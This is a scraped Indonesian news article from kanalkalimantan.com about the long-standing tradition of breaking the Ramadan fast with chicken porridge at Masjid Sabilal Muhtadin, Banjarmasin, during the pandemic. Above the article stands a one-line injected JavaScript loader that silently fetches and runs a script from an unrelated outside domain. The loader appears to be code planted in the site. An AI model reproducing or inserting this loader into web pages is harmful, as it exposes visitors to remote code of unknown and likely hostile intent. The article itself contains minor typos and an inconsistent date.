(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Berbuka puasa dengan sajian bbur ayam sudah menjadi tradisi di Masjid Sabilal Muhtadin, Banjarmasin sejak puluhan tahun lalu.
Bubur ayam Sabilal menjadi salah satu daya tarik bagi masyarakat untuk berbuka puasa di Masjid tersebut.
Wajar jika setiap harinya kegiatan berbuka puasa di Masjid Raya Sabilal Muhtadin selalu ramai.
Bagaimana dengan masa pandemi Covid-19 ini? Tradisi itu masih dijalankan meski tak seramai sebelum masa pandemi.
H Darul Quthni
Berdaaar pantauan kanalkalimantan.com, Kamis (14/4/2021) puluhan umat muslim mengikuti tradisi berbuka puasa di Masjid Sabilal Muhtadin.
H Darul Quthni, Ketua Umum (Ketum) Badan Pengelola Masjid Raya Sabilal Muhtadin, kepada kanalkalimantan.com mengatakan, bubur ayam tetap sebagai menu utama berbuka puasa di masjid itu karena merupakan peninggalan dari para pendahulu.
“Sejak awal berdirinya masjid ini, para orang tua pendahulu kita itu, sudah menetapkan kalau bubur ayam ini sebagai menu buka puasa. Sehingga menjadi warisan yang tetap dilakukan hingga saat ini,” ujar H Darul Quthni, kepada kanalkaliamantan.com, usai melakukan buka puasa dan Salat Maghrib, Kamis (15/4/2021).
Baca juga : Dibatalkan jadi Bupati karena WN Amerika, MK Sebut Kasus Orient Langka
Dia juga mengatakan, karena ini sebuah warisan dari para pendahulu, sehingga tetap kita mempertahankan dan melestarikan tradisi ini.
“Ternyata setelah dari waktu ke waktu, tradisi berbuka puasa dengan bubur ayam ini, mendapat respons yang bagus dari masyarakat,” ucap dia.
Selanjutnya, dia juga mengungkapkan, kalau bubur ayam yang digunakan saat berbuka puasa di masjid tersebut, merupakan menu yang sama dengan menu bubur ayam yang terdahulu.
“Kalau untuk buburnya itu, kita hanya memakai bubur ayam yang sama dari dulu. Jadi bubur ayamnya itu sudah turun temurun, dari neneknya, kemudian ke ibunya, hingga sekarang ke cucunya,” ungkap dia.
Baca juga : Satu Klub Sepak Bola Baru Mojokerto Siap Ikuti Liga 3 Jawa Timur
Lebih lanjut dia menambahkan, ke depannya bubur ayam ini, akan tetap menjadi menu utama berbuka puasa di Masjid Raya Sabilal Muhtadin.
“Selain rasanya yang sudah cocok dengan lidah kita semua, kita juga ingin tetap menjaga warisan ini tetap ada sampai kedepannya,” tambah dia. (kanalkalimantan.com/tius)
KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) sedang mendalami hubungan antara jabatan direksi yang dimiliki… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Gubernur Kalimantan Selatan (Kalsel) H Muhidin meminta langkah strategis untuk memastikan dana… Read More
KANALKALIMANTAN.COM, PARINGIN - Upaya mencegah perkawinan usia anak, Dinas Pemberdayaan Perempuan, Perlindungan Anak, Pengendalian Penduduk,… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Bupati (Wabup) Kapuas Dodo menegaskan berbagai aspirasi maupun usulan yang… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan terus memperkuat peran strategis dalam upaya penanganan banjir… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menyampaikan laporan hasil reses… Read More
This website uses cookies.